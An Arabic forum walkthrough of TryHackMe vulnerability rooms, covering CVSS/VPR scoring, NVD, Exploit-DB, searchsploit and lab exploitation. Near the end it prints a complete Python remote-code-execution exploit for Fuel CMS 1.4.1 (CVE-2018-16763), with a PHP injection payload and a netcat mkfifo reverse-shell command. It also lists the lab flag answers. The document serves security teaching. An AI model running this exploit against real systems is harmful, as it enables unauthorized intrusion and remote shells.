مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

[ WalkTh ] كيفية تقييم واستغلال الثغرات ـ ( Vulnerability Research )🥷🥷

3b0-0d3b0-0d is verified member.

{ || مشرف قسم CTF || }
.:: طاقم المشرفين ::.

السمعة:

bug-banner.png

فحص الثغرات

d30e917f1945d3e25592ee34805bb900.png
5fda25317f800a25f8cbc7320bbd83b2.png
f746d44771571a662987e9499e18aece.png

هدفنا نفهم الثغرات الموجودة في التطبيقات، ونستخدم مهارات البحث في قواعد بيانات الضعيفة، ورح نتعلم كيف نكتشف الثغرات، ونستخدم مهارات البحث؛ لتعرفنا على كيفية استغلالها، رح نشوف أنواع الثغرات، وكيفية تقييمها، وليش من المهم نتعلم عنها، ورح نعرف عن قواعد بيانات بتحتوي على معلومات حول الثغرات،
وكمان رح نتعرف على بعض مصادر عامة نستخدمها أثناء البحث عن الثغرات واستغلالها، وفي النهاية رح نتمرن على تحدي عملي بتضمن فحص أمان لمدونة جديدة أنشأتها شركة Ackme Support Incorporated ، لازم نبحث عن الثغرات ونستغلها عشان نتأكد أن المدونة مؤمنة قبل نشر المقالات للجمهور


رح نركز على الأمور التالية

1. ما هي الثغرة
2. تقييم
الثغرات الأمنية (CVSS & VPR)
3. قواعد البيانات تضم معومات عن الثغرات ومثالين عملي
4.
البحث عن الثغرات : التلقائي واليدوي - مزايا وعيوب
5. استكشاف الثغرات اليدويّة : أفضل المصادر والأدوات
6. ثلاث
أمثلة حقيقية عملية



الأسئلة من TryHackMe | Vulnerabilities 101 , TryHackMe | Exploit Vulnerabilities , TryHackMe | Vulnerability Capstone

ثلاث بواحد
نسكافيه قلبناها
😂👇
أو باختصار :coffee: :cool:

الأسئلة من TryHackMe | Vulnerability Research



ما هي الثغرة

هي عبارة عن نقطة ضعف أو خلل في تصميم أو تنفيذ أو سلوك نظام أو تطبيق المهاجم بإمكانه يستغل هاي النقاط الضعيفة للوصول إلى معلومات غير مصرح فيها أو القيام بأعمال غير مصرح بها
مصطلح الثغرة له العديد من التعاريف من قبل هيئات الأمان السيبراني ولكن هناك تباين ضئيل بينها جميعًا

مثلاً تُعرّف NIST الثغرة على أنها ضعف في نظام معلوماتي، إجراءات أمان النظام، الضوابط الداخلية، أو التنفيذ يمكن استغلاله أو تنشيطه من قبل مصدر تهديد
يمكن أن تنشأ الثغرات من عوامل عديدة بما في ذلك التصميم السيء لتطبيق أو سهو في الإجراءات المقصودة من قبل المستخدم

وراح نحكي عن أنواع الثغرات لكن الآن لازم نعرف أنه في خمس فئات رئيسية للثغرات :

  • النظام التشغيلي: بتتمثل هاي الثغرات بأنظمة التشغيل وغالبًا ما تؤدي إلى تصعيد الصلاحيات
  • الأخطاء في التكوين: بتنشأ هاي الثغرات من تكوين غير صحيح لتطبيق أو خدمة مثلًا موقع ويب بكشف تفاصيل العملاء
  • كلمات المرور الضعيفة أو الافتراضية: التطبيقات والخدمات التي تتضمن عنصرًا من المصادقة مع كلمات مرور افتراضية عند التثبيت مثلًا يمكن أن يكون لوحة التحكم للمسؤول اسم المستخدم وكلمة المرور admin هاي سهلة للتخمين من قبل المهاجم
  • منطق التطبيق : تنشأ هاي الثغرات نتيجة لتصميم سيء للتطبيقات مثلًا آليات المصادقة المنفذة بشكل سيء ممكن تؤدي إلى قدرة المهاجم على تمثيل مستخدم
  • العامل البشري : الثغرات المستندة إلى العامل البشري هي الثغرات التي تستغل سلوك الإنسان مثلًا تصميم رسائل البريد الإلكتروني الاحتيالية لخداع البشر وإقناعهم بأنها حقيقية
كباحث في أمان المعلومات يجب ان تقوم بتقييم التطبيقات والأنظمة واستخدام الثغرات ضد هذه الأهداف في حياتك اليومية لذلك من الضروري أن تتعرف جيدًا على هذه العملية من اكتشاف الثغرات واستغلالها
تمكن أحد المهاجمين من ترقية أذونات حساب النظام الخاص به من "مستخدم" إلى "مسؤول". ما هو نوع الضعف هذا؟
Operating System
يمكنك تجاوز لوحة تسجيل الدخول باستخدام ملفات تعريف الإرتباط للمصادقة. ما هو نوع الضعف هذا؟
Application Logic


تقييم الثغرات الأمنية (CVSS & VPR)

إدارة الثغرات هي عملية تقييم وتصنيف و (في النهاية) معالجة التهديدات (الثغرات) اللي بتواجهها المؤسسة.
من الصعب إصلاح ومعالجة كل الثغرات في الشبكة أو نظام الكمبيوتر وأحيانًا بنضييع موارد لو حاولنا

في النهاية بتضح أنه بتم استغلال نسبة صغيرة جدًا من الثغرات التي المتواجده بالنظام وتقديراً فقط حوالي 2% منها بتتعرض للاستغلال الفعلي المعلومة مأخوذة من تقرير أمني صادر عن شركة Kenna Security في عام 2020 يعني أن الأمور مش بالضرورة سيئة بالنسبة لكل ثغرة تُكتشف لكن الجانب الإيجابي هو أنه مش كل ثغرة بتمثل تهديد فوري للنظام
هون بيجي دور تقييم الثغرات لأنه يُستخدم لتحديد المخاطر المحتملة والتأثير اللي بكون للثغرة على الشبكة أو نظام الكمبيوتر مثلًا يمنح النظام ( CVSS ) نقاطًا للثغرة استنادًا إلى ميزاتها وتوافرها وقابليتها لإعادة التكرار


النظام المشترك لتقييم الثغرات ( CVSS )

تم تقديم النظام المشترك لتقييم الثغرات لأول مرة في عام 2005 وهو إطار شائع جدًا لتقييم الثغرات وله ثلاثة إصدارات رئيسية حتى الآن
الإصدار الحالي هو CVSSv3.1 ( مع الإصدار 4.0 )

حيث يُحدد النظام النتيجة بشكل أساسي من خلال بعض العوامل التالية (ولكن هناك المزيد) :

  1. مدى سهولة استغلال الثغرة؟
  2. هل توجد استغلالات لهذا؟
  3. كيف تتداخل هذه الثغرة مع ثلاثي الـ CIA؟
النظام يعطي الثغرة تصنيفًا ( من بين خمسة ) اعتمادًا على النقاط التي تم تعيينها لها لقد وضعت مقياس في الجدول التالي:
التقييمالنقاط
None0
Low0.1 - 3.9
Medium4.0 - 6.9
High7.0 - 8.9
Critical9.0 - 10.0

مزايا CVSS :
  • الـ CVSS موجود من فترة طويلة وله استخدامات معترف فيها
  • بحظى CVSS بشعبية بالمؤسسات
  • إطار مجاني لاعتماده وموصى به من قبل مؤسسات مثل NIST

عيوب CVSS :
  • لم يتم تصميم CVSS لمساعدة في ترتيب الثغرات بالأولوية بل فقط لتحديد قيمة الخطورة
  • بعتمد CVSS بشكل كبير على وجود استغلال للثغرة
  • نادرًا ما تتغير تقييمات الثغرات بعد التقييم الأول على الرغم من أنه قد يتم العثور على تطورات جديدة مثل استغلالات جديدة يعني هذا أن النقاط التي يتم تخصيصها للثغرة وتصنيفها كـ خطيرة أو قليلة الأهمية عند التقييم الأول عادةً ما تظل كما هي حتى لو تغيرت الظروف أو تم اكتشاف طرق جديدة لاستغلال الثغرة
على الرغم من هاي العيوب بظل CVSS أداة قوية وفعالة لتقييم الثغرات وتحديد مستوى الخطورة لكل منها يجب على المؤسسات النظر في العوامل المحيطة بها واستخدام الإطار الذي يناسب احتياجاتها وظروفها الفريدة

تقييم أولوية الضعف (VPR)

هو نظام أكثر حداثة في إدارة الضعف - تم تطويره من قبل شركة Tenable مقدمة حلول صناعية لإدارة الضعف هاذ النظام يعتبر مدفوعًا بالمخاطر يعني أن الضعف يتم تقييمه بتركيز كبير على المخاطر التي يمكن أن يسببها للمؤسسة نفسها بدلاً من العوامل مثل التأثير (كما هو الحال مع CVSS )

بخلاف CVSS يأخذ تقييم VPR في الاعتبار مدى صلة الثغرة
مثلًا لا يُعتبر هناك أي خطر فيما يتعلق بثغرة إذا كانت الثغرة هذه لا تنطبق على المؤسسة (أي أنها لا تستخدم البرنامج المعرض للخطر )
ويعد VPR ديناميكي لأنه من الممكن أن تتغير المخاطر التي قد تسببها الثغرة تقريبًا يوميًا مع تقدم الوقت

يستخدم VPR نطاق تقييم مماثل لـ CVSS بالجدول اللي تحت:

التقييمالنقاط
None0
Low0.1 - 3.9
Medium4.0 - 6.9
High7.0 - 8.9
Critical9.0 - 10.0

في فرقين بارزين وهما أن VPR لا تحتوي على فئة None/Informational وبسبب استخدام VPR لطريقة تقييم مختلفة بكون لنفس الثغرة تقييم مختلف باستخدام VPR ولما نستخدم CVSS

مزايا VPR :
  • إطار حديث وواقعي : بتمتع VPR بتصميم حديث بتناسب مع البيئة الحقيقية التي بتواجهها المؤسسات في إدارة الثغرات
  • الاحتساب الشامل للمخاطر : يأخذ VPR في الاعتبار أكثر من 150 عامل عند حساب المخاطر مما يساعد على تقديم تقييمات دقيقة وشاملة للثغرة
  • توجه نحو المخاطر والأولويات : بساعد VPR المؤسسات في تحديد الأولويات في إصلاح الثغرة بناءًا على المخاطر التي يمكن أن تواجه النظام
عيوب VPR :
  • ليس مفتوح المصدر : مما يمكن أن يقيّد قدرة المستخدمين على تعديله أو تخصيصه وفقًا لاحتياجاتهم
  • بتطلب منصة تجارية : يمكن استخدام VPR فقط كجزء من منصة تجارية مما يعيق الوصول إليها لبعض المؤسسات أو الأفراد الذين يفضلون الحلول المفتوحة المصدر
  • قد لا يأخذ بعين الاعتبار ثلاثي الـ CIA بشكل كامل : بينما يركز VPR على تقدير المخاطر فإنه قد لا يعطي الإهتمام الكافي لعوامل مثل سرية البيانات وسلامتها وتوفرها بنفس القدر الذي يفعله نظام CVSS
في أي عام تم نشر الإصدار الأول من CVSS؟
2005
إذا أردت تقييم مدى الضعف بناءًا على المخاطر التي تشكلها على منظمة ما، فما الإطار الذي ستستخدمه؟
vpr
إذا أردت استخدام إطار عمل مجاني ومفتوح المصدر، فما هو إطار العمل الذي سيكون؟
cvss


قواعد البيانات تضم معومات عن الثغرات ومثال عملي

الثغرات اللي بتخلي البرامج أو الخدمات على الإنترنت عرضة للاختراق , في مواقع على الإنترنت بتقدم قواعد بيانات بتضم معلومات عن الثغرات لكل أنواع البرمجيات والأنظمة التشغيلية وغيرها وفي الموضوع هاد راح نتعرف على قاعدتين بيانات بخزنوا معلومات عن الثغرات

الأولى اسمها NVD (National Vulnerability Database)
والتانية اسمها
Exploit-DB
يوجد أيضًا في منشور @exploiter مواقع مفيدة


قبل ما نتعمق فيهم , في مصطلحات رئيسية لازم نفهمها
  • الثغرة (Vulnerability) : هاي بتعني عيب أو ضعف في تصميم أو تنفيذ أو سلوك نظام أو تطبيق
  • الاستغلال (Exploit) : هو عبارة عن شيء زي إجراء أو سلوك بستخدم الثغرة في النظام أو التطبيق
  • الدليل على الفكرة (Proof of Concept - PoC) : هاي تقنية أنك تُظهر عملية استغلال الثغرة عملياً

هو موقع يحتوي على قائمة بكل الثغرات اللي تم تصنيفها علنًا في عالم الأمن السيبراني الثغرات هاي بتتصنف تحت اسم Common Vulnerabilities and Exposures اللي بنختصرها بـ CVE , وهو عبارة عن رمز لتسمية الثغرات وبتكون على الشكل هاد : CVE بعدها السنة بعدها رقم مثلًا الثغرة اللي استخدمها فيروس WannaCry كانت CVE-2017-0144
الموقع بطرحلك كل الـ CVEs اللي تم تأكيدها وبتقدر تستخدم فلاتر للبحث عنها بناءًا على التصنيف وشهر التقديم


Screenshot 2024-03-01 103357.png

بالرغم من أن الموقع هاد بساعدنا نتابع الثغرات الجديدة بس مش ممتاز لو بدنا ندور على ثغرات لتطبيق معين أو موقف معين

الـ Exploit-DB

هو موقع رهيب جدًا ومهم جداً للناس اللي بشتغلوا في مجال الاختراق والحماية وهو عبارة عن مرجع كبير للثغرات اللي بتكون موجودة في برامج وتطبيقات مختلفة
في الموقع بحتفظوا بثغرات البرامج والتطبيقات وبنشروها تحت اسم البرنامج والمؤلف وإصدار البرنامج يعني لو بدك تعرف عن ثغرة معينة في برنامج ممكن تدور عليها في الموقع هاد
والجميل في الموقع إنك ممكن تلاقي أكواد جاهزة (تسمى PoC ) اللي بتستخدم لاستغلال الثغرة اللي أنت بتدور عليها يعني لو اكتشفت ثغرة في برنامج ممكن تستخدم الأكواد اللي موجودة على الموقع هاد لتطبيق الثغرة واختبار البرنامج الخاص فيك


1709278702489.png

حل السؤال:
نقوم بتحديد التاريخ كما هو مطلوب


1709279590360.png

ثم
1709279731114.png

1709279767226.png

باستخدام NVD، كم عدد التهديدات الخطيرة التي تم نشرها في يوليو 2021؟
1554
نجد من الموقع
من هو مؤلف Exploit-DB؟
OffSec

مثال عملي 1


راح نشرح مثال عملي على اكتشاف ثغرة في برنامج معين وكيفية استغلالها لنحصل على نتائج أكبر وأهم في النهاية
أثناء تقييم الأمان لأي برنامج أو نظام غالباً بنجمع أكثر من ثغرة لتحقيق نتائج فعّالة او استغلال جيد
مثلًا بالمثال هاد راح نستفيد من ثغرة Version Disclosure عشان نعرف إصدار التطبيق وبنستخدم Exploit-DB عشان ندور على أي استغلالات بتنفع مع الإصدار هاد

نبدأ المثال
بالصورة اللي تحت بنشوف اسم ورقم الإصدار لتطبيق معين هو Apache Tomcat 9.0.17

tomcat1.png
بعد ما جبنا المعلومة هاي بنبدأ بحث في Exploit-DB عشان نشوف إذا في استغلالات بتناسب الإصدار هاد
بنلاقي 5 استغلالات ممكن تكون مفيدة النا مع هاد الإصدار المعين من التطبيق


1709280464936.png

ما نوع الثغرة الأمنية التي استخدمناها للعثور على اسم التطبيق وإصداره في هذا المثال؟
Version Disclosure

مثال عملي 2
وظيفة جديدة لواحد اسمه Jr. Penetration tester في شركة اختبار الاختراق في أول أسبوع له في الشغل في أول مهمة له بكون تحت إشراف مختص أكبر في الشركة , المهمة اللي عليه انه لازم يستغلال ثغرة أمنية ضد البنية التحتية لـ ACKme IT Service

1709280909056.png

ثم الضغط على Next

1709281050667.png

بنشوف انه الشخص هاد عرف عن الشركه أنها بتقدم خدمات تكنولوجيا المعلومات لأكثر من 800 عميل هاي معلومة مفيدة لأنو بنقدر نبدأ نفكر في البرمجيات الممكن استخدامها لنهاجمها مثلا برنامج مكتب المساعدة أو تطبيق الدعم
ثم الضغط على Next

1709281222316.png
الآن هو ببدأ في مرحلة الفحص , الهدف من هاي المرحلة هو تحديد الخدمات والتطبيقات اللي شغالة على بنية الشركه
بنقدر نستخدم المعلومات اللي نجمعها من هالمسح عشان نبدأ نفهم أي خدمات ممكن نهاجمها مثلًا ممكن يكون في ويب سيرفر بستضيف موقع ويب
بنتذكر من رسالة الإيميل اللي وصلتنا أول شيء أعطونا عنوان IP واحد هو 240.228.189.136 بنجرب نعمله فحص


1709281376890.png

بعدها جونيور اختبار الاختراق زار الموقع المستهدف في متصفحه وواجه صفحة تسجيل الدخول.
حاول بعض كلمات المرور العشوائية زي admin و admin ولكن ما نجح في الدخول لاحظ أن في الصفحة رقم إصدار التطبيق هو 1.5.2 وعمل مذكرة فيه ممكن يكون مفيد


1709282495045.png
بروح على موقع فيه معلومات عن ثغرات وطرق استغلالها اسمه Vulnerability Bank™️
الموقع هاد بحتفظ بتفاصيل عن الثغرات اللي في التطبيقات
بدور بالموقع هاد عن التطبيق اللي لقاه في قبل بعدها لقي وحدة من الثغرات المدرجة للتطبيق اللي هي ACKme Portal إصدار 1.5.2 : ثغرة التنفيذ البعيد (Remote Code Execution)
الثغرة هاي بتسمح بتنفيذ أوامر على نظام الهدف هيك بقدر يستخدم الثغرة هاي عشان يحصل على وصول لوحدة التحكم
بنجرب نبحث في موقع Vulnerability Bank™️ عن استغلال لـ ACKMe Portal 1.5.2


1709282829829.png

الاستغلال نجح واستغل ثغرة التنفيذ البعيد (RCE) عشان يشغل شل معكوس على بنية ACKme

1709283314080.png
ما هو العلم ؟
THM{ACKME_ENGAGEMENT}


البحث عن الثغرات : التلقائي واليدوي - مزايا وعيوب


الفرق بين البحث عن الثغرات بالطريقة الآلية والطريقة اليدوية
في أدوات وخدمات كثير متاحة للبحث عن الثغرات في الأنظمة من أدوات تجارية بتكلف فلوس كثير وأدوات مفتوحة المصدر ومجانية
مثلًا برنامج اسمه Nessus بقدم خدمة بحث عن الثغرات وعنده نسخة مجانية ونسخة تجارية النسخة التجارية بتكلف آلاف الجنيهات للترخيص السنوي وغالباً بتستخدم في المؤسسات اللي بتقدم خدمات اختبار الاختراق أو التدقيق




a875f0744fa4e296c34693eec4fe623d.png
راح اشرح Nessus لقدام إن شاء الله



مزايا استخدام أدوات البحث عن الثغرات
  • الفحوصات الآلية سهلة الإعادة، ويمكن مشاركة النتائج بسهولة داخل الفريق
  • الفحوصات الآلية سريعة وتستطيع اختبار العديد من التطبيقات بكفاءة
  • توجد حلول مفتوحة المصدر
  • الفحوصات الآلية بتغطي مجموعة واسعة من الثغرات المختلفة التي ممكن يكون من الصعب أنك تبحث عنها يدوياً


عيوب استخدام أدوات البحث عن الثغرات
  • أحيانًا قد يصبح الأشخاص معتمدين بشكل كبير على هذه الأدوات مما قد يقلل من قدرتهم على تطوير مهاراتهم الخاصة في الكشف عن الثغرات
  • تكون فحوصات الآلية صاخبة جداً وتولد الكثير من حركة المرور والتسجيل مما قد لا يكون جيداً عند محاولة تجاوز جدران الحماية وأماكن مشابهة
  • حلول مفتوحة المصدر غالباً ما تكون بسيطة وتحتاج إلى تراخيص باهظة الثمن لتوفير المزايا المفيدة
  • غالباً لا تجد الفحوصات الآلية كل الثغرات الموجودة في التطبيق
وفي مثل ما في بـ Metasploit اللي سبق وشرحتها فيها أدوات للبحث عن الثغرات بتلاقوها هون 👇
البحث اليدوي عن الثغرات بكون الخيار الأول لاختبار الاختراق , البحث اليدوي بتضمن البحث عن نفس الثغرات وبستخدم تقنيات مشابهة للبحث الآلي
في النهاية، الأثنين بتعاملوا مع نفس الموضوع : اختبار التطبيقات عشان نكتشف الثغرات

بتضمن ثغرات زي :

  • الثغرات في التكوين الأمني ( Security Misconfigurations ): هاد لما يكون في ثغرات بسبب إهمال من المطورين زي عرض معلومات السيرفر في رسائل بين التطبيق والمهاجم
  • كسر التحكم في الوصول ( Broken Access Control ) : هاد لما المهاجم بقدر يوصل لأجزاء من التطبيق مش مفروض أنه يوصلها
  • تسلسل غير آمن ( Insecure Deserialization ) : هاد يعني معالجة غير آمنة للبيانات اللي بتم إرسالها عبر التطبيق المهاجم ممكن يبعث بيانات ضارة للتطبيق والتطبيق ينفذها
  • الحقن ( Injection ) : الحقن بصير لما المهاجم يكون بقدر يحط بيانات ضارة في التطبيق هاد بكون بسبب فشل في التأكد ( sanitising ) إن الإدخال مش ضار
أنت تعمل بالقرب من الموعد النهائي لاختبار الاختراق الخاص بك وتحتاج إلى فحص تطبيق ويب بسرعة
هل ستستخدم الماسح الضوئي الآلي؟ (Yay/Nay)
yay
أنت تختبر تطبيق ويب وتجد أنك قادر على إدخال البيانات واسترجاعها في قاعدة البيانات.
أي ضعف هذا؟
Injection
تمكنت من انتحال شخصية مستخدم آخر
أي ضعف هذا؟
Broken Access Control


استكشاف الثغرات اليدويّة : أفضل المصادر والأدوات
الـ Rapid7 : هاد موقع بتخصص في البحث عن الثغرات الأمنية في البرمجيات زي Exploit DB و NVD بس الفرق أنه بقدم كمان قاعدة بيانات لـ Exploits بتقدر تفلتر البيانات حسب نوع الثغرة زي في تطبيقات الويب أو أنظمة التشغيل

الـ GitHub : هو موقع مشهور للمطورين اللي بسمحلهم يشاركوا ويستضيفوا الشفرة المصدرية للبرامج وأيضًا الباحثين في مجال الأمان كمان بستخدموا الموقع عشان بقدروا يشاركوا الـ PoC’s اللي سبق وحكينا عنها

الـ Searchsploit : هي بتكون نسخة من قاعدة بيانات Exploit-DB على الجهاز اللي بتستخدمه بتقدر تبحث بإسم التطبيق أو نوع الثغرة عشان تلاقي استغلالات للثغرة


كود:
searchsploit wordpress
WordPress Theme Think Responsive 1.0 - Arbitr | php/webapps/29332.txt
WordPress Theme This Way - 'upload_settings_i | php/webapps/38820.php
WordPress Theme Toolbox - 'mls' SQL Injection | php/webapps/38077.txt
WordPress Theme Trending 0.1 - 'cpage' Cross- | php/webapps/36195.txt
WordPress Theme Uncode 1.3.1 - Arbitrary File | php/webapps/39895.php
WordPress Theme Urban City - 'download.php' A | php/webapps/39296.txt
WordPress Theme Web Minimalist 1.1 - 'index.p | php/webapps/36184.txt
WordPress Theme White-Label Framework 2.0.6 - | php/webapps/38105.txt
WordPress Theme Wp-ImageZoom - 'id' SQL Injec | php/webapps/38063.txt
WordPress Theme Zoner Real Estate - 4.1.1 Per | php/webapps/47436.txt
ما موقع الويب الذي ستستخدمه كباحث أمني إذا أردت تحميل الـ PoC ؟
GitHub
أنت تقوم بإجراء اختبار اختراق في موقع لا يوجد به اتصال بالإنترنت
ما الأداة التي يمكنك استخدامها للعثور على برمجيات استغلال لاستخدامها؟
Searchsploit


ثلاث امثلة حقيقية عملية

مثال 1


لما نستخدم معلومات جمعناها بنقدر نستخدمها عشان نستغل الخدمة الضعيفة وأكثر الثغرات فعالية بنقدر نستغلها هي اللي بتسمحلنا بتنفيذ أوامر على الجهاز المستهدف اللي بشغل التطبيق أو الخدمة الضعيفة
مثلا لما نقدر ننفذ أوامر على الجهاز المستهدف اللي بشغل التطبيق أو الخدمة الضعيفة بنقدر نقرأ ملفات أو ننفذ أوامر ما كنا بنقدر نعملها بواسطة التطبيق أو الخدمة لوحدها
بنقدر نستغله عشان نحصل على اللي بنسميه foothold هو إمكانية الوصول إلى وحدة التحكم اللي في الجهاز المستهدف ومن هون بنقدر نبد باستغلال تطبيقات أو أجهزة أخرى في الشبكة

بعض الـ Exploits مش دايماً جاهزة للاستخدام غالباً بتحتاج تعديلات قبل ما تشتغل مع البيئة أو الهدف اللي بدنا نخترقه ومستوى التعديل بختلف من Exploits لـ Exploits يعني ممكن نلاقي كثير من الـ Exploits لثغره معينه وهاد اللي بخليك تختار حسب شو هو الأنسب أو الأكثر فائدة الك
مثلا بنلاحظ بالمثال هاد في تعديلات على ملف الـ Exploits عشان نغير عنوان الآي بي للجهاز اللي بنهاجم منه


1709493986358.png
لما نكون عدلنا على الملف بشكل صحيح بنقدر نقرأ اكثر عن الـ Exploits عشان نعرف طريقة استخدامه

1709494087739.png

بالمثال بحكيلنا أنه لازم نعطيه معلومتين عند تشغيل الاستغلال :
  • رابط التطبيق اللي هنهاجمه
  • الأمر اللي بدنا ننفذه
مع هاي المعلومات بنقدر نبدأ نستخدم الـ Exploits على الجهاز المستهدف

بنعمل الآتي :

  • نستخدم الـ Exploits عشان نرفع ملف مشبوه على التطبيق الضعيف والملف هاد بشغل الأوامر اللي بدنا ننفذها وهو بعمل هاد الأشي عن طريق خادم الويب
  • الملف بكون فيه أمر بسيط أول شيء بنستخدمه عشان نتأكد إن الاستغلال انعمل بنجاح
  • بعدين بنقرأ محتوى ملف موجود على الجهاز المستهدف
كود:
exploit.py -u http://10.10.10.10 -c "whoami"
www-data

كود:
exploit.py -u http://10.10.10.10 -c "cat flag.txt"
THM{EXPLOIT_COMPLETE}

وبنستخدم الاستغلال كالتالي :
  • عشان نعرض اسم المستخدم اللي التطبيق بشتغل تحته
  • عشان نعرض محتوى ملف معين على الجهاز المستهدف
ما نوع الثغرة الأمنية المستخدمة في هذا الهجوم؟
Remote Code Execution

مثال 2

قم بزيارة خادم الويب الذي يعمل على الجهاز

1709494872984.png
تعرف على إصدار التطبيق قيد التشغيل
ما هو اسم ورقم إصدار التطبيق؟
Online Book Store v1.0

استخدم الآن الموارد والمهارات الموجودة في هذه الوحدة للعثور على برنامج استغلال يسمح لك بالوصول عن بعد إلى الجهاز الضعيف

1709495274005.png


1709495455533.png


1709495596850.png
نشغل السكريبت
1709495799893.png
استخدم هذا الاستغلال ضد الجهاز الضعيف

1709495896779.png

ما هي قيمة العلم الموجود في دليل الويب؟
THM{BOOK_KEEPING}
مثال 3

قامت شركة Akme Support Incorporated مؤخرًا بإنشاء مدونة و طلب فريق المطورين الخاص بهم إجراء تدقيق أمني قبل إنشاء المقالات ونشرها للجمهور

مهمتنا الآن هي إجراء تدقيق أمني على المدونة البحث عن أي نقاط ضعف نجدها وقد يُساء استخدامها


بعد تصفح المدونة نجد

1709527069991.png
بعد البحث في موقع https://nvd.nist.gov

1709528018593.png


الأسئلة
ما اسم التطبيق الذي يعمل على الجهاز الضعيف؟
Fuel CMS
ما هو رقم إصدار هذا التطبيق؟
1.4
ما هو رقم CVE الذي يسمح للمهاجم بتنفيذ التعليمات البرمجية على هذا التطبيق عن بعد؟ التنسيق: CVE-XXXX-XXXX
CVE-2018-16763

استخدم الموارد والمهارات التي تعلمتها خلال هذه الوحدة للعثور على برمجيات استغلال ذات صلة واستخدامها لاستغلال هذه الثغرة الأمنية.

ملاحظة: هناك العديد من الثغرات التي يمكن استخدامها لهذه الثغرة الأمنية (بعضها أكثر فائدة من غيرها!)

بعد استغلال هذه الثغره عن طريق هذا الكود
كود:
#!/usr/bin/python3

# Exploit Title: fuelCMS 1.4.1 - Remote Code Execution
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763
#
# Poc Created by Ac1d (assassin)



import requests
import sys
import urllib

from requests.sessions import extract_cookies_to_jar

class col:
    HEADER = '\033[95m'
    BLUE = '\033[94m'
    CYAN = '\033[96m'
    GREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    RESET = '\033[0m'
    BLACK = "\033[0;30m"
    RED = "\033[0;31m"
    GREEN = "\033[0;32m"
    BROWN = "\033[0;33m"
    BLUE = "\033[0;34m"
    PURPLE = "\033[0;35m"
    LIGHT_GRAY = "\033[0;37m"
    DARK_GRAY = "\033[1;30m"
    LIGHT_RED = "\033[1;31m"
    LIGHT_GREEN = "\033[1;32m"
    YELLOW = "\033[1;33m"
    LIGHT_BLUE = "\033[1;34m"
    LIGHT_PURPLE = "\033[1;35m"
    LIGHT_CYAN = "\033[1;36m"
    LIGHT_WHITE = "\033[1;37m"
    BOLD = "\033[1m"
    FAINT = "\033[2m"
    ITALIC = "\033[3m"
    UNDERLINE = "\033[4m"
    BLINK = "\033[5m"
    NEGATIVE = "\033[7m"
    CROSSED = "\033[9m"


def banner():
    banner = r"""
 ______         _ _____ ___  ___ _____
|  ___|        | /  __ \|  \/  |/  ___|
| |_ _   _  ___| | /  \/| .  . |\ `--.
|  _| | | |/ _ \ | |    | |\/| | `--. \
| | | |_| |  __/ | \__/\| |  | |/\__/ /
\_|  \__,_|\___|_|\____/\_|  |_/\____/
Tested on 1.4                                 
"""
    banner += "Created by Ac1d"
    return col.LIGHT_BLUE + banner + col.RESET


def help():
    banner = col.LIGHT_WHITE + "\n\tMenu\n"
    banner += col.LIGHT_GREEN
    banner += "\nexit     -\tExit app"
    banner += "\nshell_me -\tGet a reverse shell (netcat) "
    banner += "\nhelp     -\tShow this help\n"+ col.RESET
    return banner
 


print(banner())
print(help())

#http://10.10.12.27/fuel/pages/select/?filter=%27%2Bpi(print(%24a%3D%27system%27))%2B%24a(%27ls%20-la%27)%2B%27

if len(sys.argv) != 2:
    print("\nUsage: python3 exploit.py Vulnerable IPADDRESS")
    sys.exit(0)

IP=sys.argv[1]

def parsePage(page):
    try:     
        page = page.split("<h4>A PHP Error was encountered</h4>")[0]
        page = page.split("<div")[0]
        page = page[6:]
        return page
    except:
        return False

try:
 
    while True:
        cmd = input(col.LIGHT_WHITE +"fuelCMS$ " + col.RESET)

        if cmd[0:4].lower() == "exit":
            print(col.RED + "Exiting..." + col.RESET)
            sys.exit(0)

        if cmd[0:8] == "shell_me":
            IP2, PORT = input(col.LIGHT_BLUE + "Enter your attacking machine IPORT $ " + col.RESET).split(":")
            nc = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {IP2} {PORT} >/tmp/f"
            cmd = nc
            print(col.LIGHT_GREEN + "\nHope you had your listener ready!!" + col.RESET)
      
        if cmd[0:4] == "help":
            print(help())
            continue
 
        if not "/tmp/f;mkfifo" in cmd:
            print(col.LIGHT_GRAY + "Sending request." + col.RESET)
        cmd = urllib.parse.quote(cmd)
        r = requests.get(f"http://{IP}/fuel/pages/select/?filter=%27%2Bpi(print(%24a%3D%27system%27))%2B%24a(%27"+ cmd +"%27)%2B%27")
        if r.status_code == 200:
            page = parsePage(r.text)
            if page == "\n":
                print(col.RED + "No result" + col.RESET)
                continue
            print(col.LIGHT_GREEN+ f"\n{page.strip()}" + col.RESET)

except Exception as e:
    print(col.RED + f"An error occured, please try again...\n\n{e}" + col.RESET)


1709536331319.png


بعدها بندخل shell_me وبنحط الـ IP الخاص فينا ( tun0 ) وبورت نكون قد استمعنا عليه عن طريق أداة netcat
يمكنك القراءة عنها


Screenshot 2024-03-04 101404.png


1709536912860.png
ما هي قيمة العلم الموجود على هذا الجهاز الضعيف؟ يقع هذا في home/ubuntu/ على الجهاز الضعيف.
THM{ACKME_BLOG_HACKED}
 

المرفقات

  • 1709494253056.png
    1709494253056.png
    6.8 KB · المشاهدات: 142
  • 1709527026508.png
    1709527026508.png
    19.5 KB · المشاهدات: 149
  • 1709535755789.png
    1709535755789.png
    17.7 KB · المشاهدات: 139
  • 1709536806147.png
    1709536806147.png
    338.6 KB · المشاهدات: 144
التعديل الأخير:
مع احترامي لكامل الاعضاء
بس والله المنتدي 70 @3b0-0d و 30 دعم فني 😂😂😂👌
😂😂😂
لا يزم في ناس شارحه اشياء حلوه جدا من شبكات لاوسنت ل a+... وباذن الله لقدام بزيدو وبزيد حب العطاء وبنبدع
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى